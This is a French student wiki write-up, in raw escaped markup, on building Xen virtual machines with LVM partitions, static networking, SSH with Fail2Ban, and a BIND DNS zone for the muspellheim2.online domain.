Pour initialiser les machines, nous devons exécuter ces commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Atreus.cfg&lt;br /&gt;
xen create /etc/xen/SE4.Kratos.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Une fois les MV créées et en ligne, nous devons exécuter ces commandes pour les contrôler:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Atreus&lt;br /&gt;
xen console SE4.Kratos&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Une fois le login &amp;quot;root&amp;quot; et le mdp (top secret) rentrés dans la console, nous sommes sur la VM et pouvons la contrôler comme un ordinateur avec un OS classique.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PARTIONING DES MV ==&lt;br /&gt;
Nous avons modifié les fichiers &amp;lt;code&amp;gt;/etc/xen/[Kratos][Atreus].cfg&amp;lt;/code&amp;gt; pour attacher les partitions LVM aux machines :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.home,xvda3,w',&lt;br /&gt;
		  'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le paramètre &amp;lt;code&amp;gt;disk&amp;lt;/code&amp;gt; définit les disques virtuels attachés à la machine virtuelle (domaine Xen).&lt;br /&gt;
&lt;br /&gt;
Chaque élément du tableau suit la syntaxe :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;type&amp;gt;:&amp;lt;source&amp;gt;,&amp;lt;cible&amp;gt;,&amp;lt;mode&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''type :''' indique si le disque provient :&lt;br /&gt;
** d'un fichier (&amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt;)&lt;br /&gt;
** d'un périphérique physique réel (&amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;).&lt;br /&gt;
* '''source :''' chemin complet vers l'image disque ou vers le périphérique physique sur la machine hôte.&lt;br /&gt;
* '''cible :''' nom du périphérique vu par la machine virtuelle (exemple : &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
* '''mode :''' type d'accès au disque (&amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; en lecture seule, &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; en lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL PRINCIPAL : ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/disk.img,xvda2,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type''' : &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; (stockage basé sur un fichier-image disque).&lt;br /&gt;
* '''Source''' : &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/disk.img&amp;lt;/code&amp;gt; (fichier contenant le disque virtuel).&lt;br /&gt;
* '''Cible''' : &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt; (deuxième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; visible depuis la MV).&lt;br /&gt;
* '''Mode''' : &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; (lecture-écriture).&lt;br /&gt;
&lt;br /&gt;
Ce disque correspond à la racine (&amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;) du système de fichiers Linux de la MV.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE VIRTUEL SWAP ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Atreus/swap.img,xvda1,w'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; → Image disque stockée dans un fichier.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/usr/local/xen/domains/SE4.Atreus/swap.img&amp;lt;/code&amp;gt; → Chemin de l'image disque swap.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt; → Première partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /home ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.home,xvda3,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Un périphérique physique (généralement une partition réelle ou un volume logique LVM).&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.home&amp;lt;/code&amp;gt; → Partition ou volume logique physique sur l'hôte. L'hôte étant le disque dur de capbreton.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; → Troisième partition du disque virtuel &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cette partition dédiée permet d’isoler le répertoire &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, facilitant ainsi la gestion des données utilisateur séparément du système.&lt;br /&gt;
&lt;br /&gt;
==== DISQUE PHYSIQUE POUR /var ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Atreus.var,xvdb1,w'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''Type :''' &amp;lt;code&amp;gt;phy&amp;lt;/code&amp;gt; → Périphérique physique.&lt;br /&gt;
* '''Source :''' &amp;lt;code&amp;gt;/dev/virtual/SE4.Atreus.var&amp;lt;/code&amp;gt; → Partition physique ou volume logique dédié sur l'hôte.&lt;br /&gt;
* '''Cible :''' &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; → Première partition du second disque virtuel (&amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Cette partition est dédiée au répertoire &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, où sont stockés les journaux (logs), les bases de données, les fichiers temporaires, etc. Cette séparation permet une meilleure gestion des données systèmes dynamiques.&lt;br /&gt;
&lt;br /&gt;
Pour le fichier /var&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour le fichier /home&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DÉMARRAGE AUTOMATIQUE DU MONTAGE ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|Fichier_fstab|centré]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU ==&lt;br /&gt;
&lt;br /&gt;
Chaque machine dispose d'une adresse IPv4 fixe sur un réseau privé, ainsi que d'une adresse IPv6 configurée automatiquement.&lt;br /&gt;
&lt;br /&gt;
Nous modifions la configuration réseau dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; de la machine mandataire. Ensuite, nous ajustons le fichier de configuration de la machine virtuelle afin qu'elle possède deux interfaces : la première permet de communiquer avec le routeur mis en place par nos collègues, tandis que la seconde est connectée au pont réseau que nous avons créé pour l’intercommunication entre nos trois machines.&lt;br /&gt;
&lt;br /&gt;
=== MACHINE MANDATAIRE ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
name        = 'SE4.GOW'&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
#  Networking&lt;br /&gt;
#&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
vif         = [ 'mac=00:16:3E:E7:C5:1A,bridge=bifrost',&lt;br /&gt;
		'mac=00:16:3E:E7:C5:1B,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le pont nommé '''&amp;quot;bifrost&amp;quot;''', défini dans le fichier de configuration de notre machine virtuelle mandataire, sert à '''relier virtuellement les trois machines''' entre elles.&lt;br /&gt;
&lt;br /&gt;
Pour que des machines puissent communiquer, elles doivent être sur le '''même réseau'''. Ici, c’est un '''VIF (Virtual Interface)''' qui joue ce rôle : c’est une sorte de '''commutateur virtuel''' (ou switch virtuel).&lt;br /&gt;
&lt;br /&gt;
Un '''commutateur''', c’est ce que vous imaginez peut-être comme une grosse boîte avec plein de câbles et de lumières clignotantes, qu’on trouve dans les salles serveurs.&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, tout ça est '''simulé dans la machine virtuelle''', donc pas de câbles physiques : la communication se fait via la '''carte réseau virtuelle''' attribuée à chaque machine.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface réseau est visible dans le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;. On peut modifier ce fichier pour attribuer une adresse IP fixe à la machine GOW.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.1/24&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 193.48.57.172/27&lt;br /&gt;
	gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MACHINE DE SERVICES ===&lt;br /&gt;
/etc/network/interfaces de la machine SE4.Atreus qui permet de lié les Interfaces de la MV avec ses VIF pour communiquer en IPv6 avec Internet et IPv4 avec la machine mandataire &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.2/24&lt;br /&gt;
	gateway 192.168.3.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On configure la machine mandataire comme une passerelle (gateway) en IPv4. En IPv6, l’adresse est attribuée automatiquement grâce au bridge SE4.&lt;br /&gt;
&lt;br /&gt;
Une fois que chaque machine peut être pingée par les autres et qu’elles arrivent à envoyer des requêtes vers Internet, on peut passer à l’étape suivante.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Interfacekratos.png|alt=Interfacekratos|Interfacekratos|centré|vignette|470x470px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:IpaAtreusIp6Ip4.png|vignette|546x546px|ip a de la machine SE4.Atreus|centré]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:PingEntre2VM.png|alt=PingEntre2VM|PingEntre2VM|centré|vignette|986x986px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
On active le SSH avec la ligne &amp;lt;code&amp;gt;PermitRootLogin yes&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt;sur les 3 machines, on peut accéder à la mandataire avec son adresse IPv4 routée, pour les machines de service on utilise l'adresse en IPv6&lt;br /&gt;
&lt;br /&gt;
===== 🛡️ Sécurisation SSH avec Fail2Ban =====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/fail2ban/jail.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient les règles locales de '''Fail2Ban''', un outil qui surveille les logs système et '''bannit temporairement les adresses IP''' en cas de comportement suspect (comme des tentatives de connexion SSH répétées avec un mauvais mot de passe).&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable  = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Paramètre&lt;br /&gt;
!Explication&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;enable = true&amp;lt;/code&amp;gt;&lt;br /&gt;
|Active la surveillance de SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;port = ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|Surveille le port SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;filter = sshd&amp;lt;/code&amp;gt;&lt;br /&gt;
|Utilise le '''filtre prédéfini''' &amp;lt;code&amp;gt;sshd.conf&amp;lt;/code&amp;gt;, qui détecte les échecs de connexion dans les logs.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;maxretry = 3&amp;lt;/code&amp;gt;&lt;br /&gt;
|'''3 tentatives''' ratées autorisées avant bannissement.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;findtime = 300&amp;lt;/code&amp;gt;&lt;br /&gt;
|La fenêtre de détection : '''5 minutes''' pour accumuler ces 3 tentatives.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;bantime = 600&amp;lt;/code&amp;gt;&lt;br /&gt;
|Durée de bannissement : '''10 minutes''' (600 secondes).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== CONFIGURATION DNS ===&lt;br /&gt;
Rappel : Qu’est-ce qu’un serveur DNS ?&lt;br /&gt;
&lt;br /&gt;
Vu en cours avec Monsieur redon et Monsieur Vantroys, DNS veut dire '''Domain Name System'''. C’est un '''service''' qui fait la conversion entre un '''nom de domaine''' (comme &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;) et une '''adresse IP''' (comme &amp;lt;code&amp;gt;193.48.57.172&amp;lt;/code&amp;gt;), que les machines utilisent pour communiquer. Ce sont les pages jaunes des serveurs et IP d'Internet. On ne connait pas l'adresse IP de tous les sites. On ne connait que les noms. Quand on écrit netflix.com sur Internet, on interroge les serveurs DNS pour qu&amp;quot;il puisse nous rediriger vers l'adresse IP associé au nom &amp;quot;netflix.com&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==== 🌍 Fichier de zone DNS : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; ====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier définit tous les enregistrements DNS pour le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Il est utilisé par le serveur BIND '''maître''' (primary) pour répondre aux requêtes DNS.&lt;br /&gt;
&lt;br /&gt;
===== 🧾 En-tête : SOA (Start Of Authority) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN SOA ns.muspellheim2.online. admin.muspellheim2.online. (&lt;br /&gt;
           3609     ; Numéro de version&lt;br /&gt;
          21600     ; Rafraîchissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
          86400 )   ; Cache négatif (24h)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt; : représente le domaine racine (&amp;lt;code&amp;gt;muspellheim2.online.&amp;lt;/code&amp;gt; ici)&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;SOA&amp;lt;/code&amp;gt; : Spécifie '''l’autorité principale''' de la zone. Ici :&lt;br /&gt;
&lt;br /&gt;
* Serveur DNS maître : &amp;lt;code&amp;gt;ns.muspellheim2.online.&amp;lt;/code&amp;gt;&lt;br /&gt;
* Contact admin : &amp;lt;code&amp;gt;admin@muspellheim2.online&amp;lt;/code&amp;gt; (le point remplace le &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt;)&lt;br /&gt;
A chaque modification de ce fichier, il faut incrémenter le numéro de version de +1.&lt;br /&gt;
&lt;br /&gt;
===== 📡 Serveurs DNS (NS) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN NS ns.muspellheim2.online.&lt;br /&gt;
@ IN NS ns.jotunheim2.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes déclarent les serveurs DNS autoritaires pour cette zone :&lt;br /&gt;
&lt;br /&gt;
- ns.muspellheim2.online. (le maître)&lt;br /&gt;
&lt;br /&gt;
- ns.jotunheim2.tech. (un secondaire)&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Enregistrements de type A / AAAA =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
ns         IN A    193.48.57.172&lt;br /&gt;
ns         IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
@          IN A    193.48.57.172&lt;br /&gt;
@          IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''A''' : Adresse IPv4&lt;br /&gt;
&lt;br /&gt;
🔹 '''AAAA''' : Adresse IPv6&lt;br /&gt;
&lt;br /&gt;
Ces enregistrements associent :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ns.muspellheim2.online&amp;lt;/code&amp;gt; à ses adresses IP (serveur DNS)&lt;br /&gt;
* &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; lui-même à la même machine (le site est hébergé dessus)&lt;br /&gt;
&lt;br /&gt;
===== 🔗 Alias (CNAME) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
www IN CNAME muspellheim2.online.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Les requêtes pour &amp;lt;code&amp;gt;www.muspellheim2.online&amp;lt;/code&amp;gt; seront redirigées vers &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cela évite de dupliquer les enregistrements A/AAAA pour &amp;lt;code&amp;gt;www&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 🔐 DNS Validation via Digicert =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.www.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes servent à '''valider le domaine''' auprès de l’autorité de certification (Digicert) pour obtenir un certificat SSL.&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;dcv.digicert.com.&amp;lt;/code&amp;gt; est le serveur que Digicert utilise pour vérifier la possession du domaine (via un CNAME dynamique généré).&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier la syntaxe de notre '''fichier de zone DNS''' avec l’outil &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cet outil nous aide à repérer les erreurs dans l’écriture du fichier, un peu comme '''Microsoft Word souligne les fautes de grammaire ou de syntaxe''' dans un texte.&lt;br /&gt;
&lt;br /&gt;
Par exemple :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# named-checkzone muspellheim2.online /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
zone muspellheim2.online/IN: loaded serial 3609&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, le message '''&amp;quot;OK&amp;quot;''' signifie que le fichier est bien écrit et ne contient pas d’erreurs de syntaxe.&lt;br /&gt;
&lt;br /&gt;
Juste à noter : &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt; vérifie uniquement la syntaxe et la structure logique du fichier (comme la présence d’un SOA, la validité des enregistrements, etc.), '''mais pas si les adresses IP ou noms existent réellement'''.&lt;br /&gt;
&lt;br /&gt;
Une fois que tout est correctement configuré, '''n’oubliez pas de redémarrer les services &amp;lt;code&amp;gt;named&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet à ces services de '''prendre en compte les nouvelles modifications''' que vous avez apportées dans les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Il faut aussi '''attribuer les bons droits d'accès aux fichiers''', pour que &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt; puisse les lire correctement. Sinon, il risque de ne pas fonctionner comme prévu.&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
chown bind:bind /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
chmod 644 /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
&lt;br /&gt;
chown bind:bind /etc/bind/named.conf.local&lt;br /&gt;
chmod 644 /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chown&amp;lt;/code&amp;gt; permet de '''donner la propriété des fichiers à l’utilisateur et au groupe &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chmod 644&amp;lt;/code&amp;gt; donne les '''droits de lecture au service &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;''', tout en empêchant d'autres utilisateurs non privilégiés de les modifier.&lt;br /&gt;
&lt;br /&gt;
===== Vérification avec l'outil &amp;quot;dig&amp;quot; =====&lt;br /&gt;
On peut '''vérifier que notre serveur DNS fonctionne correctement''' en utilisant la commande &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est un outil qui envoie une requête DNS pour demander l’adresse IP d’un nom de domaine, et affiche la réponse complète reçue du serveur.&lt;br /&gt;
&lt;br /&gt;
Par exemple, ici on interroge notre propre serveur DNS local (&amp;lt;code&amp;gt;@localhost&amp;lt;/code&amp;gt;) pour vérifier s’il connaît le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# dig @localhost muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cela signifie que la requête s’est bien déroulée, et qu’il n’y a '''pas d’erreur''' dans le fichier de zone.&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    200     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le serveur DNS a bien répondu avec l’adresse IP '''193.48.57.172''', donc '''la zone est bien configurée et active'''.Ce test permet de s'assurer que '''le nom de domaine est bien reconnu et renvoie vers la bonne adresse IP'''.&lt;br /&gt;
&lt;br /&gt;
On peut aussi tester depuis '''une autre machine virtuelle''', pour voir si '''le domaine est connu à l'extérieur''', par exemple par '''le DNS public de Google (&amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;)'''.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; en spécifiant l’IP du serveur DNS qu’on veut interroger :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@GOW:~# dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    189     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a répondu avec l’adresse IP '''193.48.57.172''', ce qui prouve que '''notre domaine est maintenant reconnu depuis l’extérieur'''.&lt;br /&gt;
🧠 '''Petit point d’attention''' : Si tu n’as pas volontairement '''enregistré le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; sur Internet''' (via un registrar, ici c'est Gandi), alors :&lt;br /&gt;
&lt;br /&gt;
* soit '''ton environnement de test est spécial''' (ex : en école avec une infra réseau propre et un DNS intermédiaire qui communique avec Google),&lt;br /&gt;
* soit '''le domaine a réellement été enregistré publiquement''', auquel cas tu partages un vrai domaine avec d'autres (et ça peut poser des conflits si tu voulais juste faire des tests en local).&lt;br /&gt;
&lt;br /&gt;
==== REGISTRAR ET PROPAGATION DNS ====&lt;br /&gt;
Pour rendre notre '''serveur DNS opérationnel et accessible depuis Internet''', on se rend sur le site du '''registrar''' (dans notre cas : '''Gandi'''), qui est l’organisme auprès duquel on a acheté notre '''nom de domaine'''.&lt;br /&gt;
&lt;br /&gt;
Dans l’onglet '''&amp;quot;Nameserver&amp;quot;''', on ajoute un '''Glue Record'''.&lt;br /&gt;
&lt;br /&gt;
Un Glue Record sert à '''lier notre nom de domaine à nos propres serveurs DNS''', en indiquant leurs adresses IP :&lt;br /&gt;
&lt;br /&gt;
* l’adresse '''IPv4''' de la '''machine mandataire''' (notre DNS principal),&lt;br /&gt;
* les adresses '''IPv6''' des '''machines de service''', si on veut un fonctionnement complet en IPv6.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on '''remplace les serveurs de noms (Nameservers) par les nôtres''', c’est-à-dire notre propre serveur DNS.&lt;br /&gt;
&lt;br /&gt;
